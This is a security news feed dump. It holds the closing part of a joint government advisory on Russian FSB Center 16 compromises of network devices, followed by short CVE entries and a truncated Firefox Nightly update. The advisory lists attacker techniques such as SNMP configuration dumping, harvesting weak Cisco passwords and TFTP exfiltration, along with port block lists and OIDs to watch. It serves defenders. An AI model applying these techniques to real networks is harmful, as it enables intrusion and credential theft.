<p>Many of these TTPs overlap with activity by other malicious cyber actors, such as <a href="https://media.defense.gov/2025/Aug/22/2003786665/-1/-1/0/CSA_COUNTERING_CHINA_STATE_ACTORS_COMPROMISE_OF_NETWORKS.PDF" target="_blank">Salt Typhoon</a>. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.</p>
<h2><strong>Mitigation actions</strong></h2>
<p>The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:</p>
<ul>
<li>Disable Cisco Smart Install on all devices [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work2">2</a>]</li>
<li>Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work3">3</a>]
<ul>
<li>Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.</li>
<li>SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [<a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a>, <a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a>].</li>
</ul>
</li>
<li>Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>].
<ul>
<li>Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [<a href="https://www.cisa.gov/#Work4">4</a>]</li>
<li>Monitor for unusual credentials that do not conform to standard organizational naming conventions [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>]. </li>
<li> Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
</ul>
</li>
<li>Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work5">5</a>] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>].<br>
<ul type="square">
<li>Example OIDs include:
<ul>
<li>1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)</li>
<li>1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) </li>
</ul>
</li>
</ul>
</li>
<li>Restrict management protocols [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a>].
<ul>
<li>Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
<li>On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:
<ul>
<li>User Datagram Protocol (UDP) port 69 (TFTP) </li>
<li>Transmission Control Protocol (TCP) port 4786 (SMI)</li>
<li>UDP ports 161 and 162 (SNMP)</li>
<li>TCP/UDP ports 10161 and 10162 (SNMPv3)</li>
</ul>
</li>
</ul>
</li>
<li>Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. <br>
<ul type="square">
<li>Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [<a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a>].
<ul>
<li>U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost <a href="https://www.cisa.gov/cyber-hygiene-services">Cyber Hygiene services</a>.</li>
<li>U.S. Defense Industrial Base organizations should consider signing up for <a href="https://www.nsa.gov/About/Cybersecurity-Collaboration-Center/DIB-Cybersecurity-Services/" target="_blank">NSA’s DIB Cybersecurity Services</a>.</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2><strong>Resources</strong></h2>
<p><strong>United States:</strong></p>
<ul type="disc">
<li><a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia">Russia Threat Overview and Advisories</a></li>
<li><a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">Network Infrastructure Security Guide</a></li>
</ul>
<p><strong>Canada:</strong></p>
<ul type="disc">
<li><a href="https://www.cyber.gc.ca/en/guidance/routers-cyber-security-best-practices-itsap80019" target="_blank">Routers cyber security best practices (ITSAP.80.019)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/security-considerations-edge-devices-itsm80101" target="_blank">Security considerations for edge devices (ITSM.80.101)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/guidance-securely-configuring-network-protocols-itsp40062" target="_blank">Guidance on securely configuring network protocols (ITSP.40.062)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/baseline-security-requirements-network-security-zones-version-20-itsp80022" target="_blank">Baseline security requirements for network security zones (ITSP.80.022)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/top-10-it-security-actions-protect-internet-connected-networks-and-information-itsm10089" target="_blank">Top 10 IT security actions to protect Internet-connected networks and information (ITSM.10.089)</a></li>
</ul>
<h2><strong>Works cited</strong></h2>
<p>[<a class="ck-anchor">1</a>] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">https://www.ic3.gov/PSA/2025/PSA250820</a></p>
<p>[<a class="ck-anchor">2</a>] NSA. Cisco Smart Install Protocol Misuse. 2017. <a href="https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF" target="_blank">https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF</a></p>
<p>[<a class="ck-anchor">3</a>] NSA. Network Infrastructure Security Guide. 2023. <a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF</a></p>
<p>[<a class="ck-anchor">4</a>] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. <a href="https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF" target="_blank">https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF</a></p>
<p>[<a class="ck-anchor">5</a>] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. <a href="https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF" target="_blank">https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF</a></p>
<h2><strong>Footnotes</strong></h2>
<p><a class="ck-anchor"><sup>1</sup></a><sup>  </sup>Národní úřad pro kybernetickou a informační bezpečnost</p>
<p><a class="ck-anchor"><sup>2 </sup></a> Forsvarets Efterretningstjeneste</p>
<p><a class="ck-anchor"><sup>3</sup></a> Välisluureamet</p>
<p><a class="ck-anchor"><sup>4</sup></a> Riigi Infosüsteem Amet</p>
<p><a class="ck-anchor"><sup>5</sup></a> Sotilastiedustelu</p>
<p><a class="ck-anchor"><sup>6</sup></a> Suojelupoliisi</p>
<p><a class="ck-anchor"><sup>7</sup></a> Agence nationale de la sécurité des systèmes d’information</p>
<p><a class="ck-anchor"><sup>8</sup></a> Agenzia Informazioni e Sicurezza Esterna</p>
<p><a class="ck-anchor"><sup>9</sup></a> Agenzia Informazioni e Sicurezza Interna</p>
<p><a class="ck-anchor"><sup>10</sup></a> Służba Kontrwywiadu Wojskowego</p>
<p><a class="ck-anchor"><sup>11</sup></a> Nationellt Cybersäkerhetscenter</p>
<p><a class="ck-anchor"><sup>12</sup></a><sup> </sup>MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.</p>
<p><a class="ck-anchor"><sup>13</sup></a> <a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a> only affects end-of-life Cisco devices.</p>
<h2><strong>Disclaimer of Endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<p><strong>United States organizations</strong></p>
<ul>
<li><strong>National Security Agency (NSA)</strong>
<ul>
<li>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a> </li>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov">DIB_Defense@cyber.nsa.gov</a> </li>
<li>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov">MediaRelations@nsa.gov</a></li>
</ul>
</li>
<li><strong>Cybersecurity and Infrastructure Security Agency (CISA)</strong> and<strong> Federal Bureau of Investigation (FBI)</strong>
<ul>
<li> U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s <a href="https://myservices.cisa.gov/irf" title="Incident Reporting System">Incident Reporting System</a>, its 24/7 Operations Center (<a href="mailto:report@cisa.gov">report@cisa.gov</a> or 888-282-0870), or your <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank">local FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. </li>
</ul>
</li>
<li><strong>United States Department of Defense Cyber Crime Center (DC3)  </strong>
<ul>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil">DC3.DCISE@us.af.mil</a> </li>
<li>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank" title="https://dibnet.dod.mil/">https://dibnet.dod.mil</a>.</li>
<li> Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil">DC3.Information@us.af.mil</a></li>
</ul>
</li>
</ul>
<p><strong>Australian organizations</strong></p>
<ul>
<li><strong>Australian Signals Directorate</strong>
<ul>
<li>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</li>
</ul>
</li>
</ul>
<p><strong>Canadian organizations</strong></p>
<ul type="disc">
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 
<ul>
<li>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank">Report a cyber incident - Canadian Centre for Cyber Security</a> or by phone at 1-833-CYBER-88 (1-833-292-3788).</li>
</ul>
</li>
</ul>
<p><strong>New Zealand organizations</strong></p>
<ul type="disc">
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz">info@ncsc.govt.nz</a></li>
</ul>
<p><strong>United Kingdom organizations</strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank">ncsc.gov.uk/report-an-incident</a> (monitored 24/7)</li>
</ul>
<p><strong>Estonia organizations</strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee">info@valisluureamet.ee</a></li>
</ul>
<p><strong>Finnish organizations</strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank">supo.fi/en/contact</a></li>
</ul>
<p><strong>French organizations</strong></p>
<ul type="disc">
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr">cert-fr@ssi.gouv.fr</a> or by phone at: 3218 or +33 9 70 83 32 18.</li>
</ul>
<p><strong>Italian Organizations</strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
<li>Italian Internal Intelligence and Security Agency (AISI): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a> through <a href="https://www.cisa.gov/#Table10"><strong>Table 10</strong></a> for all the threat actor tactics and techniques referenced in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 1: Reconnaissance</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Active Scanning: Scanning IP Blocks</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a></td>
<td>Scan range of IP addresses</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a></td>
<td>Scan victims for vulnerabilities that can be used during targeting</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 2: Resource Development</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Servers </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a> </td>
<td>Leverage VPS as infrastructure </td>
</tr>
<tr>
<td>Compromise Infrastructure: Network Devices </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a> </td>
<td>Compromise intermediate routers </td>
</tr>
<tr>
<td>Obtain Capabilities: Exploits </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a> </td>
<td>Use publicly available code to exploit vulnerable devices </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 3: Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploit Public-Facing Application </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a> </td>
<td>Exploit publicly known CVEs </td>
</tr>
<tr>
<td>Proxy</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a></td>
<td>Use a connection proxy to direct network traffic </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4: Execution</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>System Services</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a></td>
<td>Executing commands via SNMP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5: Privilege Escalation</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploitation for Privilege Escalation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a></td>
<td>Exploit publicly known CVEs for escalated privileges</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 6: Stealth</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Obfuscated Files or Information</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a></td>
<td>Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 7: Credential Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>OS Credential Dumping</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a></td>
<td>Collect router configuration with weak Cisco Type 7 passwords and Type 0</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 8: Collection</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data from Configuration Repository: SNMP (MIB Dump) </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a> </td>
<td>Target MIB to collect network information via SNMP </td>
</tr>
<tr>
<td>Data from Configuration Repository: Network Device Configuration Dump</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a></td>
<td>Acquire credentials by collecting network device configurations</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 9: Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Proxy </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a> </td>
<td>Use VPS for C2 </td>
</tr>
<tr>
<td>Application Layer Protocol </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a> </td>
<td>Open and expose a variety of different services, including TFTP and FTP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 10: Exfiltration</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over Alternative Protocol</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a></td>
<td>Exfiltrating over a different protocol than that of the existing command and control channel. </td>
</tr>
</tbody>
</table>
<h2><strong>Appendix B: MITRE D3FEND countermeasures</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table11"><strong>Table 11</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 11: MITRE D3FEND Countermeasures</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Countermeasure Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Application Configuration Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a></td>
<td>
<ul type="disc">
<li>Use SNMPv3 and disable SNMPv1 and SNMPv2. </li>
<li>Use SNMP allowlisting to restrict access to OIDs and MIBs. </li>
<li>Disable Cisco Smart Install.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Authentication</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a></td>
<td>
<ul>
<li>Use SNMPv3 with strong authentication.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Encryption</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a></td>
<td>
<ul>
<li>Use SNMPv3 to encrypt payloads.</li>
</ul>
</td>
</tr>
<tr>
<td>Credential Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a></td>
<td>
<ul>
<li>Use strong, unique passwords and store them securely.</li>
</ul>
</td>
</tr>
<tr>
<td>Platform Monitoring</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a></td>
<td>
<ul type="disc">
<li>Monitor for unusual credentials. </li>
<li>Monitor SNMP Set-Requests for OIDs targeting sensitive device data.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Traffic Filtering</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a></td>
<td>
<ul type="disc">
<li>Use ACLs to only allow management protocols from management devices. </li>
<li>Block TFTP, SMI, and SNMP at edge firewalls.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Vulnerability Assessment</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a></td>
<td>
<ul>
<li>Use an attack surface management service.</li>
</ul>
</td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-24225 | Apple iOS/iPadOS ui layer (EUVD-2025-14859)]]></title>
<description><![CDATA[A vulnerability classified as problematic has been found in Apple iOS and iPadOS. This impacts an unknown function. The manipulation leads to improper restriction of rendered ui layers.

This vulnerability is referenced as CVE-2025-24225. Remote exploitation of the attack is possible. No exploit ...]]></description>
<link>https://tsecurity.de/de/3693305/sicherheitsluecken/cve-2025-24225-apple-iosipados-ui-layer-euvd-2025-14859/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693305/sicherheitsluecken/cve-2025-24225-apple-iosipados-ui-layer-euvd-2025-14859/</guid>
<pubDate>Sat, 25 Jul 2026 08:40:30 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/apple:ios">Apple iOS and iPadOS</a>. This impacts an unknown function. The manipulation leads to improper restriction of rendered ui layers.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2025-24225">CVE-2025-24225</a>. Remote exploitation of the attack is possible. No exploit is available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-34227 | BishopFox Sliver up to 1.7.3 Wireguard Netstack missing authentication]]></title>
<description><![CDATA[A vulnerability categorized as critical has been discovered in BishopFox Sliver up to 1.7.3. Affected by this issue is some unknown functionality of the component Wireguard Netstack. The manipulation results in missing authentication.

This vulnerability is reported as CVE-2026-34227. The attack ...]]></description>
<link>https://tsecurity.de/de/3693301/sicherheitsluecken/cve-2026-34227-bishopfox-sliver-up-to-173-wireguard-netstack-missing-authentication/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693301/sicherheitsluecken/cve-2026-34227-bishopfox-sliver-up-to-173-wireguard-netstack-missing-authentication/</guid>
<pubDate>Sat, 25 Jul 2026 08:40:02 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">critical</a> has been discovered in <a href="https://vuldb.com/product/bishopfox:sliver">BishopFox Sliver up to 1.7.3</a>. Affected by this issue is some unknown functionality of the component <em>Wireguard Netstack</em>. The manipulation results in missing authentication.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-34227">CVE-2026-34227</a>. The attack can be launched remotely. No exploit exists.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202]]></title>
<description><![CDATA[Highlights

The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!

This feature, when enabled, will create a copy of your profile data in th...]]></description>
<link>https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:35 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
<ul>
<li>This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.</li>
<li>You will be able to manage this feature in Settings under Sync (for now)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image6.png"><img alt="Firefox settings page showing the Backup feature in dark mode. Backup is enabled, with details of the most recent backup and a “Backup now” button. The page displays the backup file name and a backup location folder path, along with “Choose…” and “Show in folder” buttons. A “Sensitive data” section includes an option to back up passwords and payment methods with encryption, and a disabled “Change password” button." class="aligncenter size-full wp-image-2074" height="517" src="https://blog.nightly.mozilla.org/files/2026/06/image6.png" width="657"></a></li>
</ul>
</li>
<li><a href="https://support.mozilla.org/kb/firefox-backup">You can read more about the feature here</a></li>
</ul>
</li>
